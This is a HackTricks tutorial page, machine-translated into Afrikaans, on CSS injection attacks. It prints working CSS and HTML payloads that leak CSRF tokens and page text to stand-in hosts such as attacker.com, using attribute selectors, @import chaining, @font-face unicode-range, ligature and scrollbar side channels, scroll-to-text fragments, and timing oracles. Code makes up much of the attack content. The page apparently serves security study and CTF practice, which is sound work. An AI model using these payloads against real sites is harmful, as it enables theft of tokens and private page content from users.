CSS Inspuiting
Reading time: 23 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
CSS Inspuiting
Attribuut Selektor
CSS selektore is ontwerp om waardes van 'n input
element se name
en value
attribuut te pas. As die input element se value attribuut met 'n spesifieke karakter begin, word 'n vooraf gedefinieerde eksterne hulpbron gelaai:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
However, this benadering ondervind 'n beperking wanneer dit met versteekte invoerelemente (type="hidden"
) te doen het, omdat versteekte elemente nie agtergronde laai nie.
Omseiling vir Versteekte Elemente
Om hierdie beperking te omseil, kan jy 'n daaropvolgende suster-element teiken met behulp van die ~
algemene suster kombineerder. Die CSS-reël geld dan vir alle susters wat die versteekte invoerelement volg, wat veroorsaak dat die agtergrondbeeld laai:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
'n Praktiese voorbeeld van die ontginning van hierdie tegniek word in die verskafde kode-snippet gedetailleerd. Jy kan dit [hier] (https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) sien.
Voorvereistes vir CSS-inspuiting
Vir die CSS-inspuitingstegniek om effektief te wees, moet sekere voorwaardes nagekom word:
- Payload-lengte: Die CSS-inspuitingsvektor moet voldoende lang payloads ondersteun om die vervaardigde selektore te akkommodeer.
- CSS-herwaardering: Jy moet die vermoë hê om die bladsy te raam, wat nodig is om die herwaardering van CSS met nuutgegenereerde payloads te aktiveer.
- Buitelandse hulpbronne: Die tegniek neem aan dat daar die vermoë is om buite-gasheerde beelde te gebruik. Dit mag beperk wees deur die webwerf se Inhoudsekuriteitsbeleid (CSP).
Blind Attribute Selector
Soos verduidelik in hierdie pos, is dit moontlik om die selektore :has
en :not
te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webblad is wat die CSS-inspuiting laai nie.
Dit is ook moontlik om daardie selektore te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek, soos in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Die kombinasie van hierdie @import tegniek maak dit moontlik om baie inligting te exfiltreer met CSS-inspuiting vanaf blinde bladsye met blind-css-exfiltration.
@import
Die vorige tegniek het 'n paar nadele, kyk na die vereistes. Jy moet of in staat wees om meervoudige skakels na die slagoffer te stuur, of jy moet in staat wees om die CSS-inspuiting kwesbare bladsy in 'n iframe te plaas.
Daar is egter 'n ander slim tegniek wat CSS @import
gebruik om die kwaliteit van die tegniek te verbeter.
Dit is eerste deur Pepe Vila gewys en dit werk soos volg:
In plaas daarvan om dieselfde bladsy herhaaldelik met tientalle verskillende payloads te laai (soos in die vorige), gaan ons die bladsy net een keer laai en net met 'n import na die aanvallers bediener (dit is die payload om na die slagoffer te stuur):
@import url("//attacker.com:5001/start?");
- Die invoer gaan 'n paar CSS-skripte van die aanvallers ontvang en die blaaier sal dit laai.
- Die eerste deel van die CSS-skrip wat die aanvaller sal stuur, is nog 'n
@import
na die aanvallers bediener weer. - Die aanvallers bediener sal nog nie op hierdie versoek reageer nie, aangesien ons 'n paar karakters wil lek en dan hierdie invoer met die payload wil antwoordgee om die volgende te lek.
- Die tweede en groter deel van die payload gaan 'n attribuutkeuse lek payload wees.
- Dit sal die eerste karakter van die geheim en die laaste na die aanvallers bediener stuur.
- Sodra die aanvallers bediener die eerste en laaste karakter van die geheim ontvang het, sal dit die invoer wat in stap 2 versoek is, antwoordgee.
- Die antwoord gaan presies dieselfde wees as die stappe 2, 3 en 4, maar hierdie keer sal dit probeer om die tweede karakter van die geheim en dan die voorlaaste te vind.
Die aanvaller sal daardie lus volg totdat dit daarin slaag om die geheim heeltemal te lek.
Jy kan die oorspronklike Pepe Vila se kode om dit hier te benut vind of jy kan amper die dieselfde kode maar kommentaar hier vind.
note
Die skrip sal probeer om 2 karakters elke keer te ontdek (van die begin en van die einde) omdat die attribuutkeuse dinge soos die volgende toelaat:
/* value^= om die begin van die waarde te pas */
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= om die einde van die waarde te pas */
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Dit laat die skrip toe om die geheim vinniger te lek.
warning
Soms detecteer die skrip nie korrek dat die voorvoegsel + agtervoegsel ontdek reeds die volledige vlag is nie en dit sal voortgaan (in die voorvoegsel) en agtertoe (in die agtervoegsel) en op 'n sekere punt sal dit vassteek.
Moet nie bekommerd wees nie, kyk net na die uitset omdat jy die vlag daar kan sien.
Ander keuses
Ander maniere om DOM dele met CSS keuses te benader:
.class-to-search:nth-child(2)
: Dit sal die tweede item met die klas "class-to-search" in die DOM soek.:empty
keuse: Gebruike byvoorbeeld in hierdie skrywe:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Foutgebaseerde XS-Search
Verwysing: CSS gebaseerde Aanval: Misbruik van unicode-range van @font-face , Foutgebaseerde XS-Search PoC deur @terjanq
Die algehele bedoeling is om 'n pasgemaakte lettertipe van 'n beheerde eindpunt te gebruik en te verseker dat teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde hulpbron (favicon.ico
) nie gelaai kan word nie.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Aangepaste Lettertipe Gebruik:
- 'n Aangepaste lettertipe word gedefinieer met die
@font-face
reël binne 'n<style>
tag in die<head>
afdeling. - Die lettertipe word
poc
genoem en word van 'n eksterne eindpunt (http://attacker.com/?leak
) afgelaai. - Die
unicode-range
eienskap is gestel opU+0041
, wat die spesifieke Unicode karakter 'A' teiken.
- Objek Element met Terugvalteks:
- 'n
<object>
element metid="poc0"
word in die<body>
afdeling geskep. Hierdie element probeer om 'n hulpbron vanhttp://192.168.0.1/favicon.ico
te laai. - Die
font-family
vir hierdie element is gestel op'poc'
, soos gedefinieer in die<style>
afdeling. - As die hulpbron (
favicon.ico
) nie kan laai nie, word die terugvalinhoud (die letter 'A') binne die<object>
tag vertoon. - Die terugvalinhoud ('A') sal met die aangepaste lettertipe
poc
gerender word as die eksterne hulpbron nie gelaai kan word nie.
Stylisering Scroll-to-Teks Fragment
Die :target
pseudo-klas word gebruik om 'n element te kies wat geteiken word deur 'n URL fragment, soos gespesifiseer in die CSS Selectors Level 4 specification. Dit is belangrik om te verstaan dat ::target-text
nie enige elemente pas nie tensy die teks eksplisiet deur die fragment geteiken word.
'n Sekuriteitskwessie ontstaan wanneer aanvallers die Scroll-to-tekst fragment kenmerk misbruik, wat hulle in staat stel om die teenwoordigheid van spesifieke teks op 'n webblad te bevestig deur 'n hulpbron van hul bediener deur HTML-inspuiting te laai. Die metode behels die inspuiting van 'n CSS-reël soos hierdie:
:target::before {
content: url(target.png);
}
In sulke scenario's, as die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron target.png
van die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie aanval kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die ingeslote CSS saam met 'n Scroll-to-text fragment inkorporeer:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrator" deur die Scroll-to-text fragment (#:~:text=Administrator
) te teiken. As die teks gevind word, word die aangeduide hulpbron gelaai, wat onbedoeld sy teenwoordigheid aan die aanvaller aandui.
Vir versagting moet die volgende punte in ag geneem word:
- Beperkte STTF-ooreenstemming: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreen te stem, wat sy vermoë om arbitrêre geheime of tokens te lek, beperk.
- Beperking tot Top-niveau Bladsykontekste: STTF werk slegs in top-niveau bladsykontekste en funksioneer nie binne iframes nie, wat enige poging tot uitbuiting meer opmerklik vir die gebruiker maak.
- Noodsaaklikheid van Gebruikeraktivering: STTF vereis 'n gebruiker-aktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin, die blogpos se skrywer wys op spesifieke toestande en omseilings (bv. sosiale ingenieurswese, interaksie met algemene blaaiers uitbreidings) wat die outomatisering van die aanval kan vergemaklik.
Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutel tot die handhawing van websekuriteit en die beskerming teen sulke uitbuitings taktieke.
Vir meer inligting, kyk na die oorspronklike verslag: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Jy kan 'n uitbuiting wat hierdie tegniek vir 'n CTF gebruik hier kyk.
@font-face / unicode-range
Jy kan eksterne lettertipes vir spesifieke unicode waardes spesifiseer wat slegs versamel sal word as daardie unicode waardes in die bladsy teenwoordig is. Byvoorbeeld:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Wanneer jy hierdie bladsy toegang, laai Chrome en Firefox "?A" en "?B" omdat die teksnode van sensitiewe-inligting "A" en "B" karakters bevat. Maar Chrome en Firefox laai nie "?C" nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.
Teksnode eksfiltrasie (I): ligatures
Verwysing: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur font ligatures te benut en veranderinge in breedte te monitor. Die proses behels verskeie stappe:
- Skep van Aangepaste Fonts:
- SVG fonts word gemaak met glyphs wat 'n
horiz-adv-x
attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde verteenwoordig, stel. - Voorbeeld SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, waar "XY" 'n twee-karakter volgorde aandui. - Hierdie fonts word dan na woff-formaat omgeskakel met fontforge.
- Detectie van Breedte Veranderinge:
- CSS word gebruik om te verseker dat teks nie wrap nie (
white-space: nowrap
) en om die scrollbar styl aan te pas. - Die verskyning van 'n horisontale scrollbar, wat duidelik gestileer is, dien as 'n aanduiding (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karakter volgorde, in die teks teenwoordig is.
- Die betrokke CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Eksploit Proses:
- Stap 1: Fonts word geskep vir pare van karakters met substansiële breedte.
- Stap 2: 'n Scrollbar-gebaseerde truuk word gebruik om te detecteer wanneer die groot breedte glyph (ligature vir 'n karakter paar) gerender word, wat die teenwoordigheid van die karakter volgorde aandui.
- Stap 3: By die opsporing van 'n ligature, word nuwe glyphs wat drie-karakter volgordes verteenwoordig, gegenereer, wat die opgespoorde paar insluit en 'n voorafgaande of opvolgende karakter byvoeg.
- Stap 4: Opsporing van die drie-karakter ligature word uitgevoer.
- Stap 5: Die proses herhaal, wat progressief die hele teks onthul.
- Optimalisering:
- Die huidige inisialisasiemetode wat
<meta refresh=...
gebruik, is nie optimaal nie. - 'n Meer doeltreffende benadering kan die CSS
@import
truuk insluit, wat die prestasie van die eksploitasie verbeter.
Teksnode eksfiltrasie (II): lek die charset met 'n standaard font (nie eksterne bates benodig nie)
Verwysing: PoC using Comic Sans by @Cgvwzq & @Terjanq
Hierdie truuk is vrygestel in hierdie Slackers thread. Die charset wat in 'n teksnode gebruik word, kan gelek word met die standaard fonts wat in die blaaier geïnstalleer is: geen eksterne -of aangepaste- fonts is nodig nie.
Die konsep draai om die gebruik van 'n animasie om 'n div
se breedte geleidelik uit te brei, wat een karakter op 'n slag toelaat om van die 'suffix' deel van die teks na die 'prefix' deel oor te gaan. Hierdie proses verdeel die teks effektief in twee afdelings:
- Prefix: Die aanvanklike lyn.
- Suffix: Die daaropvolgende lyn(e).
Die oorgangstadia van die karakters sou soos volg verskyn:
C
ADB
CA
DB
CAD
B
CADB
Tydens hierdie oorgang word die unicode-range truuk gebruik om elke nuwe karakter te identifiseer soos dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te verander, wat merkbaar hoër is as die standaard font, wat gevolglik 'n vertikale scrollbar aktiveer. Die verskyning van hierdie scrollbar onthul indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
Alhoewel hierdie metode die opsporing van unieke karakters toelaat soos hulle verskyn, spesifiseer dit nie watter karakter herhaal word nie, net dat 'n herhaling plaasgevind het.
note
Basies, die unicode-range word gebruik om 'n char te detecteer, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.
Wanneer die char gevind word, word dit die vooraf geïnstalleerde Comic Sans font gegee, wat die char groter maak en 'n scroll bar aktiveer wat die gevonde char sal lek.
Kontroleer die kode wat uit die PoC onttrek is:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Tekstnode eksfiltrasie (III): lek die karakterstel met 'n standaardlettertipe deur elemente te verberg (nie eksterne bates benodig nie)
Verwysing: Dit word genoem as ‘n onsuksesvolle oplossing in hierdie skrywe
Hierdie geval is baie soortgelyk aan die vorige een, egter, in hierdie geval is die doel om spesifieke karakters groter as ander te maak om iets te verberg soos 'n knoppie wat nie deur die bot gedruk moet word nie of 'n beeld wat nie gelaai sal word nie. So ons kan die aksie (of die gebrek aan aksie) meet en weet of 'n spesifieke karakter teenwoordig is binne die teks.
Tekstnode eksfiltrasie (III): lek die karakterstel deur cache-tyd (nie eksterne bates benodig nie)
Verwysing: Dit word genoem as ‘n onsuksesvolle oplossing in hierdie skrywe
In hierdie geval kan ons probeer om te lek of 'n karakter in die teks is deur 'n vals lettertipe van dieselfde oorsprong te laai:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
As daar 'n ooreenkoms is, sal die font gelaai word vanaf /static/bootstrap.min.css?q=1
. Alhoewel dit nie suksesvol gelaai sal word nie, behoort die blaaier dit te kas en selfs al is daar geen kas nie, is daar 'n 304 not modified meganisme, so die antwoord behoort vinniger te wees as ander dinge.
As die tydsverskil van die gekaste antwoord van die nie-gekasde een egter nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: Maar, na toetsing, het ek gevind dat die eerste probleem is dat die spoed nie baie verskil nie, en die tweede probleem is dat die bot die disk-cache-size=1
vlag gebruik, wat regtig deurdagte is.
Tekstnode eksfiltrasie (III): die karakterstel lek deur die tyd te neem om honderde plaaslike "fonts" te laai (wat nie eksterne bates vereis nie)
Verwysing: Dit word genoem as ‘n onsuksesvolle oplossing in hierdie skrywe
In hierdie geval kan jy CSS aandui om honderde vals fonts vanaf dieselfde oorsprong te laai wanneer 'n ooreenkoms plaasvind. Op hierdie manier kan jy die tyd meet wat dit neem en uitvind of 'n karakter verskyn of nie met iets soos:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
En die bot se kode lyk soos volg:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer die bot besoek word, verwag om ongeveer 30 sekondes te wees. As daar egter 'n lettertipe ooreenstemming is, sal verskeie versoeke gestuur word om die lettertipe te verkry, wat die netwerk sal laat voortgaan met aktiwiteit. As gevolg hiervan sal dit langer neem om die stopvoorwaarde te bevredig en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n lettertipe ooreenstemming is.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.